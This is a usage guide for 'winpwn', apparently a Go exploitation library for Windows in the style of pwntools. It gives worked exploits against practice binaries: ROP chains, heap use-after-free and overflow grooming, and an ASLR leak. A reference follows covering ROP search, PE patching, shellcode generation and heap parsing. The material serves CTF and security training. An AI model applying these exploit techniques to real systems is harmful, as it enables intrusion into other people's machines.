Files
go_pwner/USAGE.md
T
2026-07-18 21:37:15 +03:00

25 KiB

winpwn usage guide

Worked examples, then a function-by-function reference.

Setup

Write solve scripts in C:\tools\workspace\, not inside go_pwner\ (the library source).

C:\tools\
├── go_pwner\     ← library source
└── workspace\    ← solve scripts
    ├── go.mod    ← replace winpwn => ../go_pwner
    └── mytask\
        ├── main.go
        └── chal.exe
cd C:\tools\workspace
mkdir mytask && cd mytask
copy path\to\chal.exe .
# write main.go, then:
go run .

import "winpwn" resolves anywhere inside workspace\ via the replace directive in go.mod. Examples below assume the working directory holds the target binary and are run with go run main.go.

Example 1 — info leak + redirect

Target (workspace/task1_leak) leaks the address of main, then reads a hex address from stdin and jumps to it. No ASLR, so win() is at a fixed offset from main.

tube, err := winpwn.Spawn("./task1.exe")
if err != nil {
    log.Fatalf("Spawn: %v", err)
}

if _, err := tube.RecvUntil([]byte("main: ")); err != nil {
    log.Fatalf("RecvUntil: %v", err)
}
addrBytes, err := tube.RecvUntil([]byte("\n"))
mainAddr, _ := strconv.ParseUint(string(bytes.TrimSpace(addrBytes)), 16, 64)

winAddr := mainAddr - 267 // addr(win) - addr(main), found once in x64dbg
payload := fmt.Sprintf("%x", winAddr)

if err := tube.SendLineAfter([]byte("0x12345: "), []byte(payload)); err != nil {
    log.Fatalf("SendLineAfter: %v", err)
}
tube.Interactive()
[+] Leaked main: 0x7FF71CC51657
[+] Calculated win: 0x7FF71CC5154C
Your input: 7ff71cc5154c
You won!
flag{FLAG}
[*] Process exited normally (code 0)

Example 2 — checksec + ROP + verified gadget chain

Target (workspace/task2_rop) is DEP-protected with win(int secret) exported (__declspec(dllexport)) and a stack overflow in vulnerable(). Win condition: return into win() with RCX = 0xdeadbeef.

Confirm mitigations:

pf, _ := winpwn.OpenPE("task2.exe")
r, _ := pf.Checksec()
// r.ASLR == false, r.DEP == true

Resolve win() from the export table:

winRVA, _ := pf.GetProcAddress("win")
imageBase, _ := pf.ImageBase()
winAddr := imageBase + winRVA

Find and verify a pop rcx ; ret gadget:

rop, _ := winpwn.NewROP("task2.exe")   // requires rp-win.exe (see ROP section)
defer rop.Close()

popRcx := rop.Find("pop rcx ; ret")[0].Address // index 0 = cleanest ranked match

lines, _ := rop.Disassemble(popRcx, 2)
fmt.Println(lines) // ["pop rcx", "ret"]

Build and send the chain:

ret := retGadgets[0].Address // bare "ret" for stack alignment

payload := bytes.Repeat([]byte("A"), offset)
payload = append(payload, winpwn.P64(popRcx)...)
payload = append(payload, winpwn.P64(0xDEADBEEF)...)
payload = append(payload, winpwn.P64(ret)...)
payload = append(payload, winpwn.P64(winAddr)...)

tube, _ := winpwn.Spawn("task2.exe")
tube.SendLineAfter([]byte("Input: "), payload)
tube.Interactive()

offset is the distance from the buffer to the saved return address. For this build it is 56 bytes (buf at rbp-0x30, plus the 8-byte saved RBP), not the 40 a "32-byte buffer + saved RBP" estimate would give. Confirm it per target with objdump -d / rop.Disassemble / a cyclic pattern; do not assume the source comment's number.

[+] win() address: 0x140001538
[+] pop rcx; ret address: 0x140002740
[*] verified: [pop rcx ret]
you just got shell
[*] Switching to interactive mode
Microsoft Windows [Version 10.0.19045.5737]
C:\...\task2_rop>

Example 3 — LFH use-after-free

Target (workspace/heap_lfh) creates a private heap forced into LFH mode via HeapSetInformation(heap, HeapCompatibilityInformation, 2). It manages Note{ char title[24]; void (*onPrint)(const char*); } (32 bytes): A <text> allocates and leaks the address, F <id> frees without clearing the pointer, B <hex32bytes> allocates a raw 32-byte buffer, P <id> calls notes[id]->onPrint(...) with no liveness check (the bug).

Technique: allocate filler notes, allocate the victim last, free it, then spray 32-byte buffers (each a fake Note with onPrint = win()), checking each spray's leaked address against the victim's. Freeing the most recently allocated same-size object makes the freed slot come back within a handful of attempts.

for i := 0; i < 5; i++ {
    tube.SendLine([]byte(fmt.Sprintf("A filler%d", i)))
    tube.RecvLine()
}
tube.SendLine([]byte("A victim"))
resp, _ := tube.RecvLine()
victimAddr, _ := parseAddr(resp) // "OK id=5 addr=0x..."
tube.SendLine([]byte("F 5"))
tube.RecvLine()

payload := append(bytes.Repeat([]byte{0x41}, 24), winpwn.P64(winAddr)...)
payloadHex := winpwn.Enhex(payload)

// Seed with the freed victim's address; stop when a spray matches it.
victim := winpwn.SprayResult[uint64]{ID: 5, Key: victimAddr}
_, _, attempts, ok, _ := winpwn.SprayAndFind(
    []winpwn.SprayResult[uint64]{victim}, 64,
    func(attempt int) (winpwn.SprayResult[uint64], error) {
        tube.SendLine([]byte("B " + payloadHex))
        resp, err := tube.RecvLine()
        addr, perr := parseAddr(resp)
        if perr != nil {
            err = perr
        }
        return winpwn.SprayResult[uint64]{ID: attempt, Key: addr}, err
    },
    func(a, b uint64) bool { return a == b },
)
tube.SendLine([]byte("P 5")) // onPrint is now win()
tube.Interactive()

Note: which object you free determines whether reuse happens in ~1 attempt or not at all. Freeing an early allocation and waiting for it to return this way is unreliable — LFH favors the subsegment being actively filled. Every grooming number here was measured on one Windows build (10.0.26100); re-measure per target.

Example 4 — Segment Heap adjacent-chunk overflow

Target (workspace/heap_segment) opts into Segment Heap via an embedded manifest (<heapType>SegmentHeap</heapType>). It manages Profile{ char name[24]; void (*describe)(const char*); } (32 bytes). Bug: O <id> <hex> memcpys len(hex)/2 bytes at profiles[id] with no bounds check. The heap signature at GetProcessHeap()+0x10 is 0xddeeddee (Segment Heap); 0xffeeffee would be NT Heap.

Segment Heap randomizes placement within the page, so sequential allocations are not adjacent in memory. Technique: spray, leak every address, find any pair exactly sizeof(Profile) = 32 bytes apart; the lower one overflows into the higher one's describe field.

// No seed: each new sample is checked against all prior samples.
a, b, _, ok, _ := winpwn.SprayAndFind(nil, 20,
    func(i int) (winpwn.SprayResult[uint64], error) {
        tube.SendLine([]byte(fmt.Sprintf("A filler%d", i)))
        resp, err := tube.RecvLine()
        id, addr, perr := parseIDAndAddr(resp)
        if perr != nil {
            err = perr
        }
        return winpwn.SprayResult[uint64]{ID: id, Key: addr}, err
    },
    func(x, y uint64) bool {
        d := int64(y) - int64(x)
        return d == 32 || d == -32 // sizeof(Profile)
    },
)
attackerID, victimID := a.ID, b.ID
if a.Key > b.Key { // lower address overflows forward
    attackerID, victimID = b.ID, a.ID
}

payload := append(bytes.Repeat([]byte{0x41}, 56), winpwn.P64(winAddr)...)
tube.SendLine([]byte(fmt.Sprintf("O %d %s", attackerID, winpwn.Enhex(payload))))
tube.SendLine([]byte(fmt.Sprintf("D %d", victimID)))
tube.Interactive()

The same SprayAndFind primitive handles Example 3 (equality match) and this case (distance match) with a different match function. The 32-byte distance and "spray 20 finds a pair" are facts about this struct on this build; re-measure.

Example 5 — native debugger session

Composes SpawnSuspended/ResumeMainThread (target has not executed an instruction when the debugger attaches) with Attach, and breaks at the PE's real entry point (ASLR-safe: resolve the module base at runtime, add the disk PE's entry RVA).

diskPE, _ := winpwn.OpenPE("target.exe")
diskBase, _ := diskPE.ImageBase()
diskEntry, _ := diskPE.EntryPoint()
diskPE.Close()
entryRVA := diskEntry - diskBase

tube, pid, _ := winpwn.SpawnSuspended("target.exe")
dbg, _ := winpwn.Attach(pid)
winpwn.ResumeMainThread(pid)

var bpSet bool
for ev := range dbg.Events() {
    if !bpSet {
        if base, err := winpwn.ResolveModuleBase(pid, "target.exe"); err == nil {
            dbg.SetBreakpoint(uintptr(base) + uintptr(entryRVA))
            bpSet = true
        }
    }
    hitEntry := ev.Kind == winpwn.EventBreakpoint
    if hitEntry {
        regs, _ := dbg.GetContext(ev.ThreadID)
        fmt.Printf("hit entry point, Rip=0x%x Rsp=0x%x\n", regs.Rip, regs.Rsp)
    }
    dbg.Continue(ev) // every event, breakpoint included
    if hitEntry {
        break
    }
}
dbg.Close()
tube.Close()

Notes:

  • ResolveModuleBase fails on the first event or two (loader not run yet); the loop retries each event until it succeeds.
  • A breakpoint event's Rip reads back exactly equal to the breakpoint address. The CPU leaves Rip one byte past the int3; Attach rewinds it before the event is delivered.
  • Continue past a breakpoint re-arms it (restore byte, single-step, rewrite 0xCC), so the loop must call Continue even on the event it breaks out on.

Example 6 — UAF type confusion, no LFH

Two same-size (32-byte) structs: Note{char title[24]; void(*onPrint)(char*)} and Token{char data[24]; void(*validate)(char*)}. D frees a Note but leaves the table pointer. No LFH, so the freed slot returns on the next 32-byte allocation (workspace/heap_typemix).

tube.SendLine([]byte("N victim"))
resp, _ := tube.RecvLine()   // "OK id=0 addr=0x..."
victimAddr, _ := parseAddr(resp)

tube.SendLine([]byte("D 0"))
tube.RecvLine()

payload := append(bytes.Repeat([]byte{0x41}, 24), winpwn.P64(winAddr)...)
tube.SendLine([]byte("T " + winpwn.Enhex(payload)))
tube.RecvLine()

tube.SendLine([]byte("P 0")) // note[0]->onPrint is now win()
tube.Interactive()

Example 7 — adjacent-chunk overflow, NT Heap backend

Note{char buf[24]; void(*action)(char*)} = 32 bytes. W <id> <hex> writes hex-decoded bytes to note->buf with no bounds check. Two notes allocated sequentially on a clean NT Heap backend (no LFH at 2 allocations) are adjacent. Overflow layout from note[0]: 24 (buf) + 8 (action) + 16 (NT _HEAP_ENTRY header) + 24 (note[1].buf) + 8 (note[1].action) = 80 bytes; win() at offset 72 (workspace/heap_overflow).

tube.SendLine([]byte("A note0"))
tube.RecvLine()
tube.SendLine([]byte("A note1"))
tube.RecvLine()

payload := bytes.Repeat([]byte{0x41}, 24)                    // note[0].buf
payload = append(payload, bytes.Repeat([]byte{0x42}, 8)...)  // note[0].action
payload = append(payload, bytes.Repeat([]byte{0x43}, 16)...) // _HEAP_ENTRY header
payload = append(payload, bytes.Repeat([]byte{0x44}, 24)...) // note[1].buf
payload = append(payload, winpwn.P64(winAddr)...)            // note[1].action = win()

tube.SendLine([]byte("W 0 " + winpwn.Enhex(payload)))
tube.RecvLine()
tube.SendLine([]byte("C 1"))
tube.Interactive()

Example 8 — OOB read defeats ASLR + UAF

ASLR enabled (winpwn checksec shows ASLR: Yes). S <id> <len> prints len bytes of note->data with no bounds check, leaking the 8-byte onShow pointer (= real_show, an export). The static RVA difference between win and real_show gives win() (workspace/heap_info_leak).

// Static RVA difference (constant regardless of ASLR)
pf, _ := winpwn.OpenPE("heap_info_leak.exe")
realShowRVA, _ := pf.GetProcAddress("real_show")
winRVA, _ := pf.GetProcAddress("win")
rvaDiff := int64(winRVA) - int64(realShowRVA)
pf.Close()

// Leak onShow via OOB read
tube.SendLine([]byte("N victim"))
tube.RecvLine()
tube.SendLine([]byte("S 0 32")) // 24 safe, request 32
resp, _ := tube.RecvLine()      // "HEX <64hexchars>"

hexBytes, _ := hex.DecodeString(string(bytes.TrimPrefix(resp, []byte("HEX "))))
realShowVA := binary.LittleEndian.Uint64(hexBytes[24:32])
winVA := uint64(int64(realShowVA) + rvaDiff)

// UAF (as Example 6)
tube.SendLine([]byte("D 0"))
tube.RecvLine()
payload := append(bytes.Repeat([]byte{0x41}, 24), winpwn.P64(winVA)...)
tube.SendLine([]byte("T " + winpwn.Enhex(payload)))
tube.RecvLine()
tube.SendLine([]byte("P 0"))
tube.Interactive()

Function reference

Tubes (tube.go, process.go, remote.go)

t, err := winpwn.Spawn("./target.exe")       // local process
t, err := winpwn.Remote("host", "1337")      // TCP

t.Send([]byte("data"))                       // no trailing newline
t.SendLine([]byte("data"))                   // + Context.Newline
t.SendAfter([]byte("delim"), []byte("data"))
t.SendLineAfter([]byte("delim"), []byte("data"))

buf, err := t.Recv(64)                        // up to 64 bytes
line, err := t.RecvUntil([]byte("delim"))     // inclusive of delim
line, err := t.RecvLine()                     // == RecvUntil(Context.Newline)
data, err := t.RecvPred(func(b []byte) bool { return len(b) > 10 })
data, err := t.RecvRegex(regexp.MustCompile(`\d+`))

t.SetTimeout(2 * time.Second)                 // overrides Context.Timeout
t.Interactive()                               // hand stdin/stdout to the terminal
t.Close()                                     // idempotent

Every Send*/Recv* returns error.

Named pipes (pipe_windows.go)

tube, err := winpwn.ServePipe("mypipe")   // server: \\.\pipe\mypipe, blocks for one client
tube, err := winpwn.DialPipe("mypipe")    // client

Returns a *Tube; every tube method works over a named pipe. Opened with PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED.

Context & logging (context.go, log.go)

winpwn.Context.Timeout = 5 * time.Second   // global default for new tubes
winpwn.Context.LogLevel = winpwn.LogLevelSilent

winpwn.Info("leaked: 0x%x", addr)   // [*]
winpwn.Success("got shell")         // [+]
winpwn.Warn("retrying")             // [!]
winpwn.Error("gadget not found")    // [-]

Packing (packing.go)

winpwn.P16(0x1234) // []byte{0x34, 0x12}
winpwn.P32(addr32)
winpwn.P64(addr64)
winpwn.U32(buf)
winpwn.U64(buf)

Cyclic patterns (cyclic.go)

pattern := winpwn.Cyclic(200)              // de Bruijn, n=4 (default)
pattern8 := winpwn.CyclicN(200, 8)         // n=8, for 64-bit pointer offsets

offset := winpwn.CyclicFind(crashedRIPBytes)      // n=4
offset8 := winpwn.CyclicFindN(crashedRIPBytes, 8) // n=8

Fiddling (fiddling.go)

winpwn.Hexdump(data)        // hex+ASCII dump, string
hexStr := winpwn.Enhex(data)
raw, err := winpwn.Unhex(hexStr)
xored := winpwn.Xor(data, []byte{0x41})   // key cycles if shorter than data

PE parsing (pe.go, sections.go)

pf, err := winpwn.OpenPE("target.exe")
defer pf.Close()

base, _ := pf.ImageBase()
entry, _ := pf.EntryPoint()
is64, _ := pf.Is64Bit()

for _, sec := range pf.Sections() {
    sec.IsReadable(); sec.IsWritable(); sec.IsExecutable(); sec.IsRWX()
    sec.VirtualAddress // RVA in the loaded image
    sec.Offset         // PointerToRawData, file offset on disk
    entropy, _ := sec.Entropy()
}
packed, _ := pf.LikelyPackedSections(0) // 0 == default UPX-style 7.2 threshold

offsets, err := pf.SearchBytes([]byte("cmd.exe\x00"))

// Distinct imported DLLs, each LoadLibrary'd for its live image base.
// System DLL bases are randomized per boot, not per process, so this is valid
// machine-wide until the next reboot without running the target.
libs, err := pf.ImportedLibs() // []ImportedLib{Name, Base, Err}

Live-process memory, not just a disk file (procmem_windows.go):

base, err := winpwn.ResolveModuleBase(pid, "kernel32.dll")
pf, err := winpwn.OpenPEFromProcess(pid, base)
// every accessor (Checksec, ListExports, NewROP, ...) works identically here

Loaded-module symbols (symbols_windows.go)

Analogue of pwntools' p.libs / p.symbols. For multiple lookups, use ProcessSymbols:

tube, _ := winpwn.Spawn("chal.exe")
sym := winpwn.NewProcessSymbols(tube.PID())  // tube.PID() -> uint32
defer sym.Close()

k32, _ := sym.Base("kernel32.dll")           // p.libs["kernel32.dll"]
winexec, _ := sym.Symbol("kernel32.dll", "WinExec") // p.symbols["kernel32.dll"]["WinExec"]
mods, _ := sym.Modules()                     // map[string]uint64
all, _ := sym.AllSymbols("kernel32.dll")     // map[string]uint64

ProcessSymbols caches one PEFile per DLL. For one-off lookups:

libs, _ := winpwn.ListLoadedModules(pid)          // map[string]uintptr
va, _ := winpwn.SymbolVA(pid, "kernel32.dll", "WinExec")

Checksec (checksec.go)

r, err := pf.Checksec()
// r.ASLR, r.HighEntropyVA, r.DEP, r.CFG, r.SafeSEH (x86 only; r.SEHApplicable
// reports whether SafeSEH applies), r.GSHeuristic, r.AuthenticodeSigned, r.DotNET

VerifyAuthenticodeSignature(path) (authenticode_windows.go) verifies a signature via WinVerifyTrust, not just its presence.

Exports / imports (exports.go, imports.go)

exports, err := pf.ListExports()              // []Export{Name, Ordinal, RVA, ForwardTarget}
fnRVA, err := pf.GetProcAddress("CreateFileW")

imports, err := pf.ListImports()              // []Import{DLL, Name, Ordinal, IATRVA}
imp, err := pf.FindImport("VirtualProtect")   // whether the binary imports X

ROP gadgets (gadgets.go, rop.go)

NewROP shells out to rp-win.exe (resolved from RP_WIN_EXE or C:\tools\rp-win\rp-win.exe), run with --allow-branches, so results include JOP transit gadgets (jmp reg/call reg) as well as ret-terminated ones.

rop, err := winpwn.NewROP("target.exe")
defer rop.Close()

addr := rop.Find("pop rcx ; ret")[0].Address       // ranked, index 0 = cleanest
gadgets, err := rop.Search("pop rcx ; ret")         // same search, (results, error)
gadgets, err := rop.SearchRegex(`^pop r\w+ ; ret$`) // regex match
lines, err := rop.Disassemble(addr, 3)              // verify a chain in-script

ropExt, err := winpwn.NewROPExternal("target.exe", `C:\other\rp++.exe`) // explicit tool path

Find indexes into an empty slice (panics) on no match — a deliberate loud failure at the lookup rather than a garbage address downstream.

Patching (patch.go)

pf, err := winpwn.OpenPEForWrite("target.exe")
defer pf.Close()

pf.MakeSectionExecutable(".data")
pf.MakeSectionWritable(".text")
pf.DisableTLSCallbacks()
pf.PatchBytes(rva, []byte{0x90, 0x90})
pf.RecalculateChecksum()

Shellcode (shellcraft.go, shellcode_exec_windows.go)

code, err := winpwn.ShellcodeWinExec("calc.exe") // PIC x64, resolves kernel32 via the PEB
err := winpwn.ExecuteShellcode(code)             // run locally to validate the template

Minidump (minidump.go)

m, err := winpwn.OpenMinidump("crash.dmp")
defer m.Close()

mods, err := m.Modules()      // []MinidumpModule{Name, BaseOfImage, SizeOfImage, ...}
exc, err := m.Exception()     // *MinidumpException{ThreadID, ExceptionCode, ExceptionAddress, Parameters}
raw, err := m.RawStream(winpwn.StreamSystemInfo) // any stream not decoded natively

Debugger (debugger_windows.go)

tube, pid, err := winpwn.SpawnSuspended("target.exe")
dbg, err := winpwn.Attach(pid)       // before ResumeMainThread to see everything
winpwn.ResumeMainThread(pid)

for ev := range dbg.Events() {
    // ev.Kind: EventBreakpoint/EventException/EventCreateProcess/
    // EventCreateThread/EventExitThread/EventExitProcess/EventLoadDll/
    // EventUnloadDll/EventOutputDebugString
    if ev.Kind == winpwn.EventBreakpoint {
        regs, _ := dbg.GetContext(ev.ThreadID)   // Rax..R15, Rsp, Rbp, Rip, EFlags
        dbg.SetContext(ev.ThreadID, regs)
        data, _ := dbg.ReadMemory(uintptr(regs.Rsp), 32)
        dbg.WriteMemory(someAddr, []byte{0x90})
    }
    dbg.Continue(ev) // required for every event
}

dbg.SetBreakpoint(addr)    // software INT3; Continue re-arms it
dbg.RemoveBreakpoint(addr)
dbg.Step(tid)              // single-step (not meaningful right at a fresh breakpoint hit)
dbg.Close()                // detach without killing the target

Heap struct parsing (heap.go, heap_lfh.go, heap_segment.go, heap_windows.go)

All heap APIs work against any io.ReaderAt (*ProcessMemory, *Debugger, or a test buffer). Only ListProcessHeaps needs a live process (walks the PEB).

// Find heaps
heaps, err := winpwn.ListProcessHeaps(pid)        // reads PEB.ProcessHeaps
kind, err := winpwn.DetectHeapKind(mem, heapAddr) // HeapKindNT or HeapKindSegment

// NT Heap
h, err := winpwn.ReadHeap(mem, heapAddr)
// h.Flags, h.FrontEndHeapType (FrontEndHeapNone/LFH/Lookaside), h.FrontEndHeap
// h.BaseAddress, h.FirstEntry, h.LastValidEntry, h.EncodingActive()

entries, err := h.WalkAllHeapEntries(mem) // all segments
entries, err := h.WalkSegment0(mem)       // embedded Segment0 only

// Entry fields
e.Addr; e.BlockSize(); e.UserSize(); e.UserData()
e.Busy(); e.LastEntry(); e.VirtualAlloc()
e.PreviousBlockSize(); e.NextEntry()

// Analysis
stats := winpwn.SummariseEntries(entries)         // TotalEntries, BusyEntries, FreeEntries, BusyBytes, FreeBytes
pairs := winpwn.AdjacentBusyPairs(entries)        // [][2]HeapEntry
subset := winpwn.EntriesInRange(entries, lo, hi)
hits := winpwn.EntriesWithUserData(entries, leakedAddr1, leakedAddr2)

// Segments
segAddrs, err := h.Segments(mem)
_, firstEntry, lastValid, err := winpwn.ReadSegmentRange(mem, segAddr)
entries, err := winpwn.WalkSegmentEntries(mem, firstEntry, lastValid, h.EncodingOrNil())

// NT Heap LFH
buckets, err := winpwn.ReadLFHBuckets(mem, h.FrontEndHeap)
bucket, err := winpwn.FindLFHBucket(buckets, 32) // 32-byte alloc -> BlockSize >= 32+16

subsegAddr, err := winpwn.ActiveSubsegment(mem, h.FrontEndHeap, bucket.Index)
subsegAddrs, err := winpwn.AllSubsegments(mem, h.FrontEndHeap, bucket.Index)

subseg, err := winpwn.ReadLFHSubsegment(mem, subsegAddr)
// subseg.BlockSize, subseg.BlockCount, subseg.Busy ([]bool), subseg.UserBlocksAddr

off := winpwn.CalibrateLFHFirstBlockOffset(subseg, knownAddr) // anchor on a leaked address
addr := subseg.BlockAddress(off, slotIndex)
idx, ok := subseg.SlotOf(off, knownAddr)

// Segment Heap
sh, err := winpwn.ReadSegmentHeap(mem, heapAddr)
// sh.GlobalFlags
// sh.VS  -- SegmentVSContext{CommittedUnits, FreeUnits, SubsegmentCount, Subsegments}
// sh.LFH -- SegmentLFHContext{ActiveBuckets: []SegmentLFHBucket{Index, TotalBlockCount}}

// Address-level adjacency (no chunk-header decode; operates on leaked addresses)
pairs := winpwn.AdjacentAddressPairs(addrs, 32)     // all (lo, lo+32) pairs
lo, hi, found := winpwn.FindAdjacentPair(addrs, 32) // first pair

Empirical facts for build 10.0.26100 (verify on other builds):

  • LFH activates per-bucket after ≈19 same-size requests. Earlier allocations go to the backend and do not appear in the LFH subsegment structure.
  • _HEAP_USERDATA_HEADER.EncodedOffsets is obfuscated — calibrate with CalibrateLFHFirstBlockOffset against a known address.
  • _HEAP_VS_CHUNK_HEADER.Sizes is XOR-encoded and not decoded in this pass.
  • NT Heap entry XOR-encoding is decoded transparently by walk functions.
  • heap_handle + 0x2c0 stores a pointer within ntdll (observed ntdll+~0x163d10 on this build) — usable for an ntdll base leak from a heap address.

Spray helper (spray.go)

older, newer, attempts, ok, err := winpwn.SprayAndFind(
    seed,            // []winpwn.SprayResult[K]{} or pre-seeded with a known target
    maxAttempts,
    func(attempt int) (winpwn.SprayResult[K], error) { /* one spray -> (id, leaked value) */ },
    func(a, b K) bool { /* the relation: equality, "N apart", etc. */ },
)

Examples 3 (seeded equality) and 4 (no-seed pair search) show both shapes.

CLI (cmd/winpwn)

winpwn checksec target.exe   # mitigations + sections + imported DLLs' live base
winpwn cyclic 200
winpwn cyclic -l aaab
winpwn hexdump target.exe
winpwn rop target.exe -search "pop rcx ; ret"
winpwn rop target.exe -regex "^pop r.* ; ret$"
winpwn bytes target.exe ebfe    # every VA of a byte pattern; accepts "ebfe", "EB FE", "\xeb\xfe"
winpwn disasm target.exe 0x140001538 5
winpwn exports target.dll
winpwn imports target.exe
winpwn hex / winpwn unhex       # stdin-piped
winpwn heap <pid>               # enumerate all heaps in a live process
winpwn heap <pid> -walk         # also walk NT Heap entries: busy/free counts + adjacent pairs

winpwn rop/NewROP require rp-win.exe; a missing tool is a clear error naming the env var to set.

cmd/pwninit

cd path\to\task_dir
copy \path\to\chal.exe .
pwninit                    # auto-detects the lone .exe/.dll

Prints recon (arch, checksec, per-section R/W/Offset/entropy, imported DLLs' live base), then writes a go.mod (replace winpwn => <path>, from WINPWN_HOME or C:\tools\go_pwner) and a minimal main.go (Spawn + Interactive). Will not overwrite an existing go.mod/main.go without -force.

winpwn heap <pid> output:

pid 5160: 3 heap(s)

[0] 0x0000000000080000  Segment Heap
  GlobalFlags=0x00000000
  VS context @ 0x80280: committed=12 free=3 subsegments=1
  LFH active buckets (total-blocks): [5]=50

[1] 0x0000000000010000  NT Heap
  flags=0x00008000  encoding=true  front-end=none
  segments: 2

[2] 0x00000000001a0000  NT Heap
  flags=0x00001002  encoding=true  front-end=LFH @ 0x8d0000
  segments: 2
  entries: total=18 busy=16 free=2  busy_bytes=25467 free_bytes=9360
  LFH active buckets: [0]=16b [1]=32b [2]=48b ...

See ROADMAP.md for implementation status and planned work.